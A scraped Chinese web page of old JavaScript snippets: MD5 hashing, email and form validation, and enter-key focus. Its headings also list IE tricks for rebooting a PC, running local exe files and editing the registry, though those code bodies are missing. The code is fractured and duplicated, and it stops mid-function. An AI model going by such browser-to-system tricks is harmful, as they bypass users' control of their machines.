本文提供了多个JavaScript实用代码示例，包括用IE重启或关机、运行客户端exe程序、仿造VB里的MonthView控件、利用cookie收藏网站、修改注册表，以及数字格式化函数等，展示了JavaScript在不同场景下的应用。
用IE重起计算机或者关机
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
javascript运行客户端exe程序(说明：这只是提供一种思路，不过能不能运行还要看IE的安全设置。)
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
Javascript+HTML仿造VB里的MonthView控件
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
在IE客户端调用windows系统资源
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
一个三级关联菜单的例子
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
一种在父窗口中得知 window.open()出的子窗口关闭事件的方法（定时器实现)
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
MSDN 中 clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11 控件
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
用javascirpt在<TEXTAREA>中插入元素（光标位置）
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
一个关于新窗口自动调节大小的问题
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
javascript动态增加、删除、填充表格内容
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
层不能跨框架（包括TEXTAREA）显示的解决办法
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
object还有其他几种用法
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
不用询问关闭一个独立的窗口代码
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
做WEB热键
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
按下回车键指向下一个位置的一个函数
MD5加密的javascript实现例子
改进的email检查js脚本
判断输入是否为中文的函数
综合的判断用户输入的合法性的函数
按esc键退出的一个函数
自动关闭窗口
列表框操作函数集合
带进度条的关闭窗口
利用cookie收藏网站
JavaScript修改注册表
js中，有什么函数可以令数字每千位就加一“,”，还有什么函数可以保留小数后两位
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
javascript运行客户端exe程序(说明：这只是提供一种思路，不过能不能运行还要看IE的安全设置。)
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
Javascript+HTML仿造VB里的MonthView控件
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
在IE客户端调用windows系统资源
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
一个三级关联菜单的例子
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
一种在父窗口中得知 window.open()出的子窗口关闭事件的方法（定时器实现)
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
MSDN 中 clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11 控件
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
用javascirpt在<TEXTAREA>中插入元素（光标位置）
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
一个关于新窗口自动调节大小的问题
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
javascript动态增加、删除、填充表格内容
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
层不能跨框架（包括TEXTAREA）显示的解决办法
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
object还有其他几种用法
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
不用询问关闭一个独立的窗口代码
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
做WEB热键
代码如下：
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
按下回车键指向下一个位置的一个函数
1
function
tofocus(itemname)
//
按回车置下一个位置
2
{
3
var
a
4 a
=
eval(
"
document.vouch.
"
+
itemname)
5 a.focus()
6 }
7在控件中使用onkeypress
=
"
javascrip:if(window.event.keyCode==13){tofocus('nextformname')}提取下一个控件名
function
tofocus(itemname)
//
按回车置下一个位置
2
{ 3
var
a 4
a
=
eval(
"
document.vouch.
"
+
itemname) 5
a.focus() 6
} 7
在控件中使用onkeypress
=
"
javascrip:if(window.event.keyCode==13){tofocus('nextformname')}提取下一个控件名
MD5加密的javascript实现例子
1
/*
MD5 Message-Digest Algorithm - JavaScript
2' MODIFICATION HISTORY:
3' 1.0 16-Feb-2001 - Phil Fresle (sales@frez.co.uk) - Initial Version (VB/ASP code)
4' 1.0 21-Feb-2001 - Enrico Mosanghini (erik504@yahoo.com) - JavaScript porting
5
*/
6
function
MD5(sMessage) {
7
function
RotateLeft(lValue, iShiftBits) {
return
(lValue
<<
iShiftBits)
|
(lValue
>>>
(
32
-
iShiftBits)); }
8
function
AddUnsigned(lX,lY) {
9
var
lX4,lY4,lX8,lY8,lResult;
10 lX8
=
(lX
&
0x80000000
);
11 lY8
=
(lY
&
0x80000000
);
12 lX4
=
(lX
&
0x40000000
);
13 lY4
=
(lY
&
0x40000000
);
14 lResult
=
(lX
&
0x3FFFFFFF
)
+
(lY
&
0x3FFFFFFF
);
15
if
(lX4
&
lY4)
return
(lResult
^
0x80000000
^
lX8
^
lY8);
16
if
(lX4
|
lY4) {
17
if
(lResult
&
0x40000000
)
return
(lResult
^
0xC0000000
^
lX8
^
lY8);
18
else
return
(lResult
^
0x40000000
^
lX8
^
lY8);
19 }
else
return
(lResult
^
lX8
^
lY8);
20}
21
function
F(x,y,z) {
return
(x
&
y)
|
((
~
x)
&
z); }
22
function
G(x,y,z) {
return
(x
&
z)
|
(y
&
(
~
z)); }
23
function
H(x,y,z) {
return
(x
^
y
^
z); }
24
function
I(x,y,z) {
return
(y
^
(x
|
(
~
z))); }
25
function
FF(a,b,c,d,x,s,ac) {
26 a
=
AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac));
27
return
AddUnsigned(RotateLeft(a, s), b);
28}
29
function
GG(a,b,c,d,x,s,ac) {
30 a
=
AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac));
31
return
AddUnsigned(RotateLeft(a, s), b);
32}
33
function
HH(a,b,c,d,x,s,ac) {
34 a
=
AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac));
35
return
AddUnsigned(RotateLeft(a, s), b);
36}
37
function
II(a,b,c,d,x,s,ac) {
38 a
=
AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac));
39
return
AddUnsigned(RotateLeft(a, s), b);
40}
41
function
ConvertToWordArray(sMessage) {
42
var
lWordCount;
43
var
lMessageLength
=
sMessage.length;
44
var
lNumberOfWords_temp1
=
lMessageLength
+
8
;
45
var
lNumberOfWords_temp2
=
(lNumberOfWords_temp1
-
(lNumberOfWords_temp1
%
64
))
/
64
;
46
var
lNumberOfWords
=
(lNumberOfWords_temp2
+
1
)
*
16
;
47
var
lWordArray
=
Array(lNumberOfWords
-
1
);
48
var
lBytePosition
=
0
;
49
var
lByteCount
=
0
;
50
while
( lByteCount
<
lMessageLength ) {
51 lWordCount
=
(lByteCount
-
(lByteCount
%
4
))
/
4
;
52 lBytePosition
=
(lByteCount
%
4
)
*
8
;
53 lWordArray[lWordCount]
=
(lWordArray[lWordCount]
|
(sMessage.charCodeAt(lByteCount)
<<
lBytePosition));
54 lByteCount
++
;
55 }
56 lWordCount
=
(lByteCount
-
(lByteCount
%
4
))
/
4
;
57 lBytePosition
=
(lByteCount
%
4
)
*
8
;
58 lWordArray[lWordCount]
=
lWordArray[lWordCount]
|
(
0x80
<<
lBytePosition);
59 lWordArray[lNumberOfWords
-
2
]
=
lMessageLength
<<
3
;
60 lWordArray[lNumberOfWords
-
1
]
=
lMessageLength
>>>
29
;
61
return
lWordArray;
62}
63
function
WordToHex(lValue) {
64
var
WordToHexValue
=
""
,WordToHexValue_temp
=
""
,lByte,lCount;
65
for
(lCount
=
0
;lCount
<=
3
;lCount
++
) {
66 lByte
=
(lValue
>>>
(lCount
*
8
))
&
255
;
67 WordToHexValue_temp
=
"
0
"
+
lByte.toString(
16
);
68 WordToHexValue
=
WordToHexValue
+
WordToHexValue_temp.substr(WordToHexValue_temp.length
-
2
,
2
);
69 }
70
return
WordToHexValue;
71}
72
var
x
=
Array();
73
var
k,AA,BB,CC,DD,a,b,c,d
74
var
S11
=
7
, S12
=
12
, S13
=
17
, S14
=
22
;
75
var
S21
=
5
, S22
=
9
, S23
=
14
, S24
=
20
;
76
var
S31
=
4
, S32
=
11
, S33
=
16
, S34
=
23
;
77
var
S41
=
6
, S42
=
10
, S43
=
15
, S44
=
21
;
78
//
Steps 1 and 2. Append padding bits and length and convert to words
79
x
=
ConvertToWordArray(sMessage);
80
//
Step 3. Initialise
81
a
=
0x67452301
; b
=
0xEFCDAB89
; c
=
0x98BADCFE
; d
=
0x10325476
;
82
//
Step 4. Process the message in 16-word blocks
83
for
(k
=
0
;k
<
x.length;k
+=
16
) {
84 AA
=
a; BB
=
b; CC
=
c; DD
=
d;
85 a
=
FF(a,b,c,d,x[k
+
0
], S11,
0xD76AA478
);
86 d
=
FF(d,a,b,c,x[k
+
1
], S12,
0xE8C7B756
);
87 c
=
FF(c,d,a,b,x[k
+
2
], S13,
0x242070DB
);
88 b
=
FF(b,c,d,a,x[k
+
3
], S14,
0xC1BDCEEE
);
89 a
=
FF(a,b,c,d,x[k
+
4
], S11,
0xF57C0FAF
);
90 d
=
FF(d,a,b,c,x[k
+
5
], S12,
0x4787C62A
);
91 c
=
FF(c,d,a,b,x[k
+
6
], S13,
0xA8304613
);
92 b
=
FF(b,c,d,a,x[k
+
7
], S14,
0xFD469501
);
93 a
=
FF(a,b,c,d,x[k
+
8
], S11,
0x698098D8
);
94 d
=
FF(d,a,b,c,x[k
+
9
], S12,
0x8B44F7AF
);
95 c
=
FF(c,d,a,b,x[k
+
10
],S13,
0xFFFF5BB1
);
96 b
=
FF(b,c,d,a,x[k
+
11
],S14,
0x895CD7BE
);
97 a
=
FF(a,b,c,d,x[k
+
12
],S11,
0x6B901122
);
98 d
=
FF(d,a,b,c,x[k
+
13
],S12,
0xFD987193
);
99 c
=
FF(c,d,a,b,x[k
+
14
],S13,
0xA679438E
);
100 b
=
FF(b,c,d,a,x[k
+
15
],S14,
0x49B40821
);
101 a
=
GG(a,b,c,d,x[k
+
1
], S21,
0xF61E2562
);
102 d
=
GG(d,a,b,c,x[k
+
6
], S22,
0xC040B340
);
103 c
=
GG(c,d,a,b,x[k
+
11
],S23,
0x265E5A51
);
104 b
=
GG(b,c,d,a,x[k
+
0
], S24,
0xE9B6C7AA
);
105 a
=
GG(a,b,c,d,x[k
+
5
], S21,
0xD62F105D
);
106 d
=
GG(d,a,b,c,x[k
+
10
],S22,
0x2441453
);
107 c
=
GG(c,d,a,b,x[k
+
15
],S23,
0xD8A1E681
);
108 b
=
GG(b,c,d,a,x[k
+
4
], S24,
0xE7D3FBC8
);
109 a
=
GG(a,b,c,d,x[k
+
9
], S21,
0x21E1CDE6
);
110 d
=
GG(d,a,b,c,x[k
+
14
],S22,
0xC33707D6
);
111 c
=
GG(c,d,a,b,x[k
+
3
], S23,
0xF4D50D87
);
112 b
=
GG(b,c,d,a,x[k
+
8
], S24,
0x455A14ED
);
113 a
=
GG(a,b,c,d,x[k
+
13
],S21,
0xA9E3E905
);
114 d
=
GG(d,a,b,c,x[k
+
2
], S22,
0xFCEFA3F8
);
115 c
=
GG(c,d,a,b,x[k
+
7
], S23,
0x676F02D9
);
116 b
=
GG(b,c,d,a,x[k
+
12
],S24,
0x8D2A4C8A
);
117 a
=
HH(a,b,c,d,x[k
+
5
], S31,
0xFFFA3942
);
118 d
=
HH(d,a,b,c,x[k
+
8
], S32,
0x8771F681
);
119 c
=
HH(c,d,a,b,x[k
+
11
],S33,
0x6D9D6122
);
120 b
=
HH(b,c,d,a,x[k
+
14
],S34,
0xFDE5380C
);
121 a
=
HH(a,b,c,d,x[k
+
1
], S31,
0xA4BEEA44
);
122 d
=
HH(d,a,b,c,x[k
+
4
], S32,
0x4BDECFA9
);
123 c
=
HH(c,d,a,b,x[k
+
7
], S33,
0xF6BB4B60
);
124 b
=
HH(b,c,d,a,x[k
+
10
],S34,
0xBEBFBC70
);
125 a
=
HH(a,b,c,d,x[k
+
13
],S31,
0x289B7EC6
);
126 d
=
HH(d,a,b,c,x[k
+
0
], S32,
0xEAA127FA
);
127 c
=
HH(c,d,a,b,x[k
+
3
], S33,
0xD4EF3085
);
128 b
=
HH(b,c,d,a,x[k
+
6
], S34,
0x4881D05
);
129 a
=
HH(a,b,c,d,x[k
+
9
], S31,
0xD9D4D039
);
130 d
=
HH(d,a,b,c,x[k
+
12
],S32,
0xE6DB99E5
);
131 c
=
HH(c,d,a,b,x[k
+
15
],S33,
0x1FA27CF8
);
132 b
=
HH(b,c,d,a,x[k
+
2
], S34,
0xC4AC5665
);
133 a
=
II(a,b,c,d,x[k
+
0
], S41,
0xF4292244
);
134 d
=
II(d,a,b,c,x[k
+
7
], S42,
0x432AFF97
);
135 c
=
II(c,d,a,b,x[k
+
14
],S43,
0xAB9423A7
);
136 b
=
II(b,c,d,a,x[k
+
5
], S44,
0xFC93A039
);
137 a
=
II(a,b,c,d,x[k
+
12
],S41,
0x655B59C3
);
138 d
=
II(d,a,b,c,x[k
+
3
], S42,
0x8F0CCC92
);
139 c
=
II(c,d,a,b,x[k
+
10
],S43,
0xFFEFF47D
);
140 b
=
II(b,c,d,a,x[k
+
1
], S44,
0x85845DD1
);
141 a
=
II(a,b,c,d,x[k
+
8
], S41,
0x6FA87E4F
);
142 d
=
II(d,a,b,c,x[k
+
15
],S42,
0xFE2CE6E0
);
143 c
=
II(c,d,a,b,x[k
+
6
], S43,
0xA3014314
);
144 b
=
II(b,c,d,a,x[k
+
13
],S44,
0x4E0811A1
);
145 a
=
II(a,b,c,d,x[k
+
4
], S41,
0xF7537E82
);
146 d
=
II(d,a,b,c,x[k
+
11
],S42,
0xBD3AF235
);
147 c
=
II(c,d,a,b,x[k
+
2
], S43,
0x2AD7D2BB
);
148 b
=
II(b,c,d,a,x[k
+
9
], S44,
0xEB86D391
);
149 a
=
AddUnsigned(a,AA); b
=
AddUnsigned(b,BB); c
=
AddUnsigned(c,CC); d
=
AddUnsigned(d,DD);
150 }
151
//
Step 5. Output the 128 bit digest
152
var
temp
=
WordToHex(a)
+
WordToHex(b)
+
WordToHex(c)
+
WordToHex(d);
153
return
temp.toLowerCase();
154}
/*
MD5 Message-Digest Algorithm - JavaScript2
' MODIFICATION HISTORY:3
' 1.0 16-Feb-2001 - Phil Fresle (sales@frez.co.uk) - Initial Version (VB/ASP code)4
' 1.0 21-Feb-2001 - Enrico Mosanghini (erik504@yahoo.com) - JavaScript porting5
*/
6
function
MD5(sMessage) {7
function
RotateLeft(lValue, iShiftBits) {
return
(lValue
<<
iShiftBits)
|
(lValue
>>>
(
32
-
iShiftBits)); }8
function
AddUnsigned(lX,lY) {9
var
lX4,lY4,lX8,lY8,lResult;10
lX8
=
(lX
&
0x80000000
);11
lY8
=
(lY
&
0x80000000
);12
lX4
=
(lX
&
0x40000000
);13
lY4
=
(lY
&
0x40000000
);14
lResult
=
(lX
&
0x3FFFFFFF
)
+
(lY
&
0x3FFFFFFF
);15
if
(lX4
&
lY4)
return
(lResult
^
0x80000000
^
lX8
^
lY8);16
if
(lX4
|
lY4) {17
if
(lResult
&
0x40000000
)
return
(lResult
^
0xC0000000
^
lX8
^
lY8);18
else
return
(lResult
^
0x40000000
^
lX8
^
lY8);19
}
else
return
(lResult
^
lX8
^
lY8);20
}21
function
F(x,y,z) {
return
(x
&
y)
|
((
~
x)
&
z); }22
function
G(x,y,z) {
return
(x
&
z)
|
(y
&
(
~
z)); }23
function
H(x,y,z) {
return
(x
^
y
^
z); }24
function
I(x,y,z) {
return
(y
^
(x
|
(
~
z))); }25
function
FF(a,b,c,d,x,s,ac) {26
a
=
AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac));27
return
AddUnsigned(RotateLeft(a, s), b);28
}29
function
GG(a,b,c,d,x,s,ac) {30
a
=
AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac));31
return
AddUnsigned(RotateLeft(a, s), b);32
}33
function
HH(a,b,c,d,x,s,ac) {34
a
=
AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac));35
return
AddUnsigned(RotateLeft(a, s), b);36
}37
function
II(a,b,c,d,x,s,ac) {38
a
=
AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac));39
return
AddUnsigned(RotateLeft(a, s), b);40
}41
function
ConvertToWordArray(sMessage) {42
var
lWordCount;43
var
lMessageLength
=
sMessage.length;44
var
lNumberOfWords_temp1
=
lMessageLength
+
8
;45
var
lNumberOfWords_temp2
=
(lNumberOfWords_temp1
-
(lNumberOfWords_temp1
%
64
))
/
64
;46
var
lNumberOfWords
=
(lNumberOfWords_temp2
+
1
)
*
16
;47
var
lWordArray
=
Array(lNumberOfWords
-
1
);48
var
lBytePosition
=
0
;49
var
lByteCount
=
0
;50
while
( lByteCount
<
lMessageLength ) {51
lWordCount
=
(lByteCount
-
(lByteCount
%
4
))
/
4
;52
lBytePosition
=
(lByteCount
%
4
)
*
8
;53
lWordArray[lWordCount]
=
(lWordArray[lWordCount]
|
(sMessage.charCodeAt(lByteCount)
<<
lBytePosition));54
lByteCount
++
;55
}56
lWordCount
=
(lByteCount
-
(lByteCount
%
4
))
/
4
;57
lBytePosition
=
(lByteCount
%
4
)
*
8
;58
lWordArray[lWordCount]
=
lWordArray[lWordCount]
|
(
0x80
<<
lBytePosition);59
lWordArray[lNumberOfWords
-
2
]
=
lMessageLength
<<
3
;60
lWordArray[lNumberOfWords
-
1
]
=
lMessageLength
>>>
29
;61
return
lWordArray;62
}63
function
WordToHex(lValue) {64
var
WordToHexValue
=
""
,WordToHexValue_temp
=
""
,lByte,lCount;65
for
(lCount
=
0
;lCount
<=
3
;lCount
++
) {66
lByte
=
(lValue
>>>
(lCount
*
8
))
&
255
;67
WordToHexValue_temp
=
"
0
"
+
lByte.toString(
16
);68
WordToHexValue
=
WordToHexValue
+
WordToHexValue_temp.substr(WordToHexValue_temp.length
-
2
,
2
);69
}70
return
WordToHexValue;71
}72
var
x
=
Array();73
var
k,AA,BB,CC,DD,a,b,c,d74
var
S11
=
7
, S12
=
12
, S13
=
17
, S14
=
22
;75
var
S21
=
5
, S22
=
9
, S23
=
14
, S24
=
20
;76
var
S31
=
4
, S32
=
11
, S33
=
16
, S34
=
23
;77
var
S41
=
6
, S42
=
10
, S43
=
15
, S44
=
21
;78
//
Steps 1 and 2. Append padding bits and length and convert to words
79
x
=
ConvertToWordArray(sMessage);80
//
Step 3. Initialise
81
a
=
0x67452301
; b
=
0xEFCDAB89
; c
=
0x98BADCFE
; d
=
0x10325476
;82
//
Step 4. Process the message in 16-word blocks
83
for
(k
=
0
;k
<
x.length;k
+=
16
) {84
AA
=
a; BB
=
b; CC
=
c; DD
=
d;85
a
=
FF(a,b,c,d,x[k
+
0
], S11,
0xD76AA478
);86
d
=
FF(d,a,b,c,x[k
+
1
], S12,
0xE8C7B756
);87
c
=
FF(c,d,a,b,x[k
+
2
], S13,
0x242070DB
);88
b
=
FF(b,c,d,a,x[k
+
3
], S14,
0xC1BDCEEE
);89
a
=
FF(a,b,c,d,x[k
+
4
], S11,
0xF57C0FAF
);90
d
=
FF(d,a,b,c,x[k
+
5
], S12,
0x4787C62A
);91
c
=
FF(c,d,a,b,x[k
+
6
], S13,
0xA8304613
);92
b
=
FF(b,c,d,a,x[k
+
7
], S14,
0xFD469501
);93
a
=
FF(a,b,c,d,x[k
+
8
], S11,
0x698098D8
);94
d
=
FF(d,a,b,c,x[k
+
9
], S12,
0x8B44F7AF
);95
c
=
FF(c,d,a,b,x[k
+
10
],S13,
0xFFFF5BB1
);96
b
=
FF(b,c,d,a,x[k
+
11
],S14,
0x895CD7BE
);97
a
=
FF(a,b,c,d,x[k
+
12
],S11,
0x6B901122
);98
d
=
FF(d,a,b,c,x[k
+
13
],S12,
0xFD987193
);99
c
=
FF(c,d,a,b,x[k
+
14
],S13,
0xA679438E
);100
b
=
FF(b,c,d,a,x[k
+
15
],S14,
0x49B40821
);101
a
=
GG(a,b,c,d,x[k
+
1
], S21,
0xF61E2562
);102
d
=
GG(d,a,b,c,x[k
+
6
], S22,
0xC040B340
);103
c
=
GG(c,d,a,b,x[k
+
11
],S23,
0x265E5A51
);104
b
=
GG(b,c,d,a,x[k
+
0
], S24,
0xE9B6C7AA
);105
a
=
GG(a,b,c,d,x[k
+
5
], S21,
0xD62F105D
);106
d
=
GG(d,a,b,c,x[k
+
10
],S22,
0x2441453
);107
c
=
GG(c,d,a,b,x[k
+
15
],S23,
0xD8A1E681
);108
b
=
GG(b,c,d,a,x[k
+
4
], S24,
0xE7D3FBC8
);109
a
=
GG(a,b,c,d,x[k
+
9
], S21,
0x21E1CDE6
);110
d
=
GG(d,a,b,c,x[k
+
14
],S22,
0xC33707D6
);111
c
=
GG(c,d,a,b,x[k
+
3
], S23,
0xF4D50D87
);112
b
=
GG(b,c,d,a,x[k
+
8
], S24,
0x455A14ED
);113
a
=
GG(a,b,c,d,x[k
+
13
],S21,
0xA9E3E905
);114
d
=
GG(d,a,b,c,x[k
+
2
], S22,
0xFCEFA3F8
);115
c
=
GG(c,d,a,b,x[k
+
7
], S23,
0x676F02D9
);116
b
=
GG(b,c,d,a,x[k
+
12
],S24,
0x8D2A4C8A
);117
a
=
HH(a,b,c,d,x[k
+
5
], S31,
0xFFFA3942
);118
d
=
HH(d,a,b,c,x[k
+
8
], S32,
0x8771F681
);119
c
=
HH(c,d,a,b,x[k
+
11
],S33,
0x6D9D6122
);120
b
=
HH(b,c,d,a,x[k
+
14
],S34,
0xFDE5380C
);121
a
=
HH(a,b,c,d,x[k
+
1
], S31,
0xA4BEEA44
);122
d
=
HH(d,a,b,c,x[k
+
4
], S32,
0x4BDECFA9
);123
c
=
HH(c,d,a,b,x[k
+
7
], S33,
0xF6BB4B60
);124
b
=
HH(b,c,d,a,x[k
+
10
],S34,
0xBEBFBC70
);125
a
=
HH(a,b,c,d,x[k
+
13
],S31,
0x289B7EC6
);126
d
=
HH(d,a,b,c,x[k
+
0
], S32,
0xEAA127FA
);127
c
=
HH(c,d,a,b,x[k
+
3
], S33,
0xD4EF3085
);128
b
=
HH(b,c,d,a,x[k
+
6
], S34,
0x4881D05
);129
a
=
HH(a,b,c,d,x[k
+
9
], S31,
0xD9D4D039
);130
d
=
HH(d,a,b,c,x[k
+
12
],S32,
0xE6DB99E5
);131
c
=
HH(c,d,a,b,x[k
+
15
],S33,
0x1FA27CF8
);132
b
=
HH(b,c,d,a,x[k
+
2
], S34,
0xC4AC5665
);133
a
=
II(a,b,c,d,x[k
+
0
], S41,
0xF4292244
);134
d
=
II(d,a,b,c,x[k
+
7
], S42,
0x432AFF97
);135
c
=
II(c,d,a,b,x[k
+
14
],S43,
0xAB9423A7
);136
b
=
II(b,c,d,a,x[k
+
5
], S44,
0xFC93A039
);137
a
=
II(a,b,c,d,x[k
+
12
],S41,
0x655B59C3
);138
d
=
II(d,a,b,c,x[k
+
3
], S42,
0x8F0CCC92
);139
c
=
II(c,d,a,b,x[k
+
10
],S43,
0xFFEFF47D
);140
b
=
II(b,c,d,a,x[k
+
1
], S44,
0x85845DD1
);141
a
=
II(a,b,c,d,x[k
+
8
], S41,
0x6FA87E4F
);142
d
=
II(d,a,b,c,x[k
+
15
],S42,
0xFE2CE6E0
);143
c
=
II(c,d,a,b,x[k
+
6
], S43,
0xA3014314
);144
b
=
II(b,c,d,a,x[k
+
13
],S44,
0x4E0811A1
);145
a
=
II(a,b,c,d,x[k
+
4
], S41,
0xF7537E82
);146
d
=
II(d,a,b,c,x[k
+
11
],S42,
0xBD3AF235
);147
c
=
II(c,d,a,b,x[k
+
2
], S43,
0x2AD7D2BB
);148
b
=
II(b,c,d,a,x[k
+
9
], S44,
0xEB86D391
);149
a
=
AddUnsigned(a,AA); b
=
AddUnsigned(b,BB); c
=
AddUnsigned(c,CC); d
=
AddUnsigned(d,DD);150
}151
//
Step 5. Output the 128 bit digest
152
var
temp
=
WordToHex(a)
+
WordToHex(b)
+
WordToHex(c)
+
WordToHex(d);153
return
temp.toLowerCase();154
}
改进的email检查js脚本
1
function
isEmail(str)
2{
3
//
are regular expressions supported?
4
var
supported
=
0
;
5
if
(window.RegExp) {
6
var
tempStr
=
"
a
"
;
7
var
tempReg
=
new
RegExp(tempStr);
8
if
(tempReg.test(tempStr)) supported
=
1
;
9}
10
if
(
!
supported)
11
return
(str.indexOf(
"
.
"
)
>
2
)
&&
(str.indexOf(
"
@
"
)
>
0
);
12
var
r1
=
new
RegExp(
"
(@.*@)|(//.//.)|(@//.)|(^//.)
"
);
13
var
r2
=
new
RegExp(
"
^.+//@(//[?)][a-zA-Z0-9//-//.]+//.([a-zA-Z]{2,3}|[0-9]{1,3})(//]?)$
"
);
14
return
(
!
r1.test(str)
&&
r2.test(str));
15}
function
isEmail(str) 2
{ 3
//
are regular expressions supported?
4
var
supported
=
0
; 5
if
(window.RegExp) { 6
var
tempStr
=
"
a
"
; 7
var
tempReg
=
new
RegExp(tempStr); 8
if
(tempReg.test(tempStr)) supported
=
1
; 9
} 10
if
(
!
supported) 11
return
(str.indexOf(
"
.
"
)
>
2
)
&&
(str.indexOf(
"
@
"
)
>
0
); 12
var
r1
=
new
RegExp(
"
(@.*@)|(//.//.)|(@//.)|(^//.)
"
); 13
var
r2
=
new
RegExp(
"
^.+//@(//[?)][a-zA-Z0-9//-//.]+//.([a-zA-Z]{2,3}|[0-9]{1,3})(//]?)$
"
); 14
return
(
!
r1.test(str)
&&
r2.test(str)); 15
}
判断输入是否为中文的函数
1
function
ischinese(s){
2
var
ret
=
true
;
3
for
(
var
i
=
0
;i
<
s.length;i
++
)
4ret
=
ret
&&
(s.charCodeAt(i)
>=
10000
);
5
return
ret;
6}
function
ischinese(s){2
var
ret
=
true
;3
for
(
var
i
=
0
;i
<
s.length;i
++
)4
ret
=
ret
&&
(s.charCodeAt(i)
>=
10000
);5
return
ret;6
}
综合的判断用户输入的合法性的函数
1
<
script language
=
"
javascript
"
>
2
//
限制输入字符的位数开始
3//
m是用户输入，n是要限制的位数
4
function
issmall(m,n)
5{
6
if
((m
<
n)
&&
(m
>
0
))
7 {
8
return
(
false
);
9 }
10
else
11{
return
(
true
);}
12}
13
14
//
限制输入字符的位数结束
15
16
//
判断密码是否输入一致开始
17
function
issame(str1,str2)
18{
19
if
(str1
==
str2)
20{
return
(
true
);}
21
else
22{
return
(
false
);}
23}
24
//
判断密码是否输入一致结束
25
26
//
判断是否为空开始
27
function
isnotnull(str)
28{
29
if
(str.length
==
""
)
30 {
31
return
(
false
);
32 }
33
else
34{
35
return
(
true
);
36}
37}
38
39
//
判断是否为空结束
40
41
42
//
判断用户名是否为数字字母下滑线开始
43
function
notchinese(str){
44
var
reg
=/
[
^
A
-
Za
-
z0
-
9_]
/
g
45
if
(reg.test(str)){
46
return
(
false
);
47 }
else
{
48
return
(
true
); }
49}
50
51
//
判断用户名是否为数字字母下滑线结束
52
53
//
判断是否为日期型开始
54
function
isDate (theStr) {
55
var
the1st
=
theStr.indexOf('
-
');
56
var
the2nd
=
theStr.lastIndexOf('
-
');
57
58
if
(the1st
==
the2nd) {
return
(
false
); }
59
else
{
60
var
y
=
theStr.substring(
0
,the1st);
61
var
m
=
theStr.substring(the1st
+
1
,the2nd);
62
var
d
=
theStr.substring(the2nd
+
1
,theStr.length);
63
var
maxDays
=
31
;
64
65
if
(fucCheckNUM(m)
==
false
||
fucCheckNUM(d)
==
false
||
fucCheckNUM(y)
==
false
) {
66
return
(
false
); }
67
else
if
(y.length
<
4
) {
return
(
false
); }
68
else
if
((m
<
1
)
||
(m
>
12
)) {
return
(
false
); }
69
else
if
(m
==
4
||
m
==
6
||
m
==
9
||
m
==
11
) maxDays
=
30
;
70
else
if
(m
==
2
) {
71
if
(y
%
4
>
0
) maxDays
=
28
;
72
else
if
(y
%
100
==
0
&&
y
%
400
>
0
) maxDays
=
28
;
73
else
maxDays
=
29
;
74 }
75
if
((m
<
1
)
||
(m
>
maxDays)) {
return
(
false
); }
76
else
{
return
(
true
); }
77 }
78}
79
80
function
fucCheckNUM(NUM)
81{
82
var
i,j,strTemp;
83 strTemp
=
"
0123456789
"
;
84
if
( NUM.length
==
0
)
85
return
0
86
for
(i
=
0
;i
<
NUM.length;i
++
)
87 {
88 j
=
strTemp.indexOf(NUM.charAt(i));
89
if
(j
==-
1
)
90 {
91
//
说明有字符不是数字
92
return
0
;
93 }
94 }
95
//
说明是数字
96
return
1
;
97}
98
99
//
判断是否为日期型结束
100
101
102
//
判断是否为固定的位数开始
103
function
isatn(m,n)
104{
105
if
(m
!=
n)
106 {
107
return
(
false
);
108 }
109
else
110{
111
return
(
true
);}
112}
113
//
判断是否为固定的位数结束
114
115
//
判断是否为电话号码开始
116
function
istel(telstr)
117{
118
var
reg
=/
[
^
0
-
9
-
]
/
g;
119
if
(telstr
!=
""
) {
120
if
(reg.test(telstr)){
121
return
(
false
);
122 }
123
else
124 {
125
return
(
true
);
126 }
127 }
128 }
129
//
判断是否为电话号码结束
130
131
//
判断是否为email开始
132
function
isemail(emailstr) {
133
if
((emailstr.indexOf('@',
0
)
==
-
1
)
||
emailstr.indexOf('.')
==
-
1
)
134 {
135
return
false
